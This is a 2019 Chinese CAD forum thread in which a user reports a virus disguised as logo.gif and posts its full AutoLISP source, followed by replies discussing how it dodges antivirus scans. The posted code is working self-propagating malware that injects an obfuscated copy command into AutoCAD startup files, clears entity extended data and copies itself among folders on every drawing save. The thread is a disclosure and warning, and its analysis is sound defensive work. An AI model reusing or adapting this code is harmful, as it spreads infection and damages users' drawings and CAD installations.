发现VLX格式的病毒
本帖最后由 satan421 于 2019-12-17 10:46 编辑前一段时间,在CAD相关的文件夹内发现logo.gif文件,双击查看时系统杀毒软件报毒。有时间的时候研究了一下,但是只能观察到一些行为,内部构造以及是否有其他行为全然不知。
发到论坛,看以前是否有人遇到,或者有高手能研究出个所以然。
以下几点需要注意:
1、此vlx文件会将如下语句写入.lsp或者.mnl文件:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
即:
(vl-file-copy(findfile "logo.gif")"acad.vlx")
2、将logo.gif后缀改为.txt查看时系统杀毒软件仍然报毒。
3、甚至不能用Hex Editor等软件查看或者用WinRAR压缩,应该是涉及到读写操作时就会执行恶意代码。
4、我不确定此文件是否有其他操作,比如窃取、删改硬盘内文件,因此,重要的事情说三遍:
电脑没有杀毒软件的,请谨慎下载查看!
电脑没有杀毒软件的,请谨慎下载查看!
电脑没有杀毒软件的,请谨慎下载查看!
这是它的源码:
(DEFUN AI_ENTITY (/ DEL LOADFILE)
(DEFUN DEL (/ CONT APPNAME SS SSS NEXTO SLIST)
(setq CONT T)
(setq APPNAME nil)
(setq SS (ENTNEXT))
(setq SSS SS)
(while (and CONT)
(setq APPNAME (cdr (ASSOC 2 (TBLNEXT "APPID"))))
(if (AND (/= APPNAME "ACAD") (/= APPNAME nil))
(PROGN
(setq NEXTO T)
(setq SLIST nil)
(while (and (/= NEXTO nil))
(if (setq SS (ENTNEXT SS))
(PROGN
(setq SLIST (ENTGET SS (LIST "*")))
(if (ASSOC -3 SLIST)
(PROGN
(if (cdr (ASSOC APPNAME (cdr (ASSOC -3 SLIST))))
(PROGN (setq SLIST
(SUBST
(SUBST
(cons APPNAME (LIST (cons 1000 "")))
(ASSOC APPNAME
(cdr (ASSOC -3 SLIST))
)
(ASSOC -3 SLIST)
)
(ASSOC -3 SLIST)
SLIST
)
)
(ENTMOD SLIST)
)
)
)
)
)
)
(setq NEXTO SS)
)
(setq SS SSS)
)
)
(if (= APPNAME nil)
(PROGN (setq CONT nil))
)
)
(setq SLIST nil)
(setq SS nil)
(setq SSS nil)
(PRINC)
)
(DEFUN AI_CHECK (CALLING-REACTOR COMMANDINFO / WORK SUPPORT ORIGIN)
(VL-LOAD-COM)
(setq WORK (STRCAT (GETVAR "DWGPREFIX") "acad.vlx"))
(setq SUPPORT (STRCAT (VL-FILENAME-DIRECTORY (GETVAR "MENUNAME"))
"\\acad.vlx"
)
)
(setq ORIGIN (STRCAT (VL-FILENAME-DIRECTORY (FINDFILE "acad.exe"))
"\\Help\\logo.gif"
)
)
(if (= (VL-FILE-SIZE WORK) 3000)
(PROGN
(if (/= (VL-FILE-SIZE ORIGIN) 3000)
(PROGN (VL-FILE-DELETE ORIGIN) (VL-FILE-COPY WORK ORIGIN))
)
(if (/= (VL-FILE-SIZE SUPPORT) 3000)
(PROGN (VL-FILE-DELETE SUPPORT) (VL-FILE-COPY WORK SUPPORT))
)
)
)
(if (= (VL-FILE-SIZE ORIGIN) 3000)
(PROGN (if (/= (VL-FILE-SIZE WORK) 3000)
(PROGN (VL-FILE-DELETE WORK) (VL-FILE-COPY ORIGIN WORK))
)
(if (/= (VL-FILE-SIZE SUPPORT) 3000)
(PROGN (VL-FILE-DELETE SUPPORT)
(VL-FILE-COPY ORIGIN SUPPORT)
)
)
)
)
(if (= (VL-FILE-SIZE SUPPORT) 3000)
(PROGN (if (/= (VL-FILE-SIZE WORK) 3000)
(PROGN (VL-FILE-DELETE WORK) (VL-FILE-COPY SUPPORT WORK))
)
(if (/= (VL-FILE-SIZE ORIGIN) 3000)
(PROGN (VL-FILE-DELETE ORIGIN)
(VL-FILE-COPY SUPPORT ORIGIN)
)
)
)
)
)
(DEFUN LOADFILE (FILE / N NO TEST FILE_ID TEMP_ID DATA)
(if (FINDFILE FILE)
(PROGN
(if (setq FILE_ID (OPEN (FINDFILE FILE) "r"))
(PROGN
(setq N 0)
(while (and (setq DATA (READ-LINE FILE_ID)))
(setq N (+ N 1))
(if
(=
DATA
"(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))"
)
(PROGN (setq TEST T))
)
(if (= DATA ";;;")
(PROGN (setq NO (cons N NO)))
)
)
(CLOSE FILE_ID)
(if (/= TEST T)
(PROGN
(if (/= NO nil)
(PROGN (setq NO (NTH (FIX (/ (LENGTH NO) 2)) NO)))
(PROGN (setq NO N))
)
(setq TEMP_ID (OPEN "temp.txt" "w"))
(setq FILE_ID (OPEN (FINDFILE FILE) "r"))
(setq N 0)
(while (and (setq DATA (READ-LINE FILE_ID)))
(setq N (+ N 1))
(if (= N NO)
(PROGN (setq DATA
"(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))"
)
)
)
(WRITE-LINE DATA TEMP_ID)
)
(CLOSE TEMP_ID)
(CLOSE FILE_ID)
(if (setq FILE_ID (OPEN (FINDFILE FILE) "w"))
(PROGN (setq TEMP_ID (OPEN "temp.txt" "r"))
(while (and (setq DATA (READ-LINE TEMP_ID)))
(WRITE-LINE DATA FILE_ID)
)
(CLOSE TEMP_ID)
(CLOSE FILE_ID)
)
)
(VL-FILE-DELETE "temp.txt")
)
)
)
)
)
)
)
(DEL)
(LOADFILE "acad.mnl")
(LOADFILE "ai_utils.lsp")
(LOADFILE "acetauto.lsp")
(LOADFILE
(STRCAT (VL-FILENAME-DIRECTORY (FINDFILE "acad.exe"))
"\\UserDataCache\\Support\\acad.mnl"
)
)
(VLR-DWG-Reactor nil '((:VLR-saveComplete . AI_CHECK)))
(AI_CHECK nil nil)
(GC)
)
(AI_ENTITY)
(SETVAR "ACADLSPASDOC" 1)
(PRINC)
mikewolf2k 发表于 2019-12-16 16:22
初看起来,就是把病毒vlx保存为gif,杀毒软件只搜索vlx的话就可以跳过去;再者可能把其中的某些病毒特征码 ...
可能因为Win10查杀的策略比较严格,这个文件涉及到读取操作(不是通过CAD加载)时都会报毒,猜测里面可能不仅是Lisp代码。奇怪的是,此前这个文件一直没有动作。
这个文件是在CAD2006里面发现的,可能不止我的电脑里存在。 初看起来,就是把病毒vlx保存为gif,杀毒软件只搜索vlx的话就可以跳过去;再者可能把其中的某些病毒特征码修改放在gif中,即使查找gif中的特征码也会跳过去。
感觉是原有病毒的障眼法跳过当前的杀毒软件,病毒部分的功能应该还是原来差不多。作者狡猾狡猾的干活。 不要疑似了,这就是CAD病毒。 stoyer 发表于 2019-12-16 16:26
不要疑似了,这就是CAD病毒。
用"疑似"是因为这文件貌似不是主动运行的,被我发现之前没有任何操作(或者我没察觉到?不过感觉有操作的话是逃不过Win10杀毒的) 看来不能随便加载这类型插件了 qssq 发表于 2019-12-18 08:58
看来不能随便加载这类型插件了
正规途径得到的插件是没问题的,不确定来源的就要小心了。 logo.gif是很久以前的病毒 690994 发表于 2019-12-19 21:35
logo.gif是很久以前的病毒
不知道这个病毒的目的是什么,还有其他操作吗
页:
[1]
2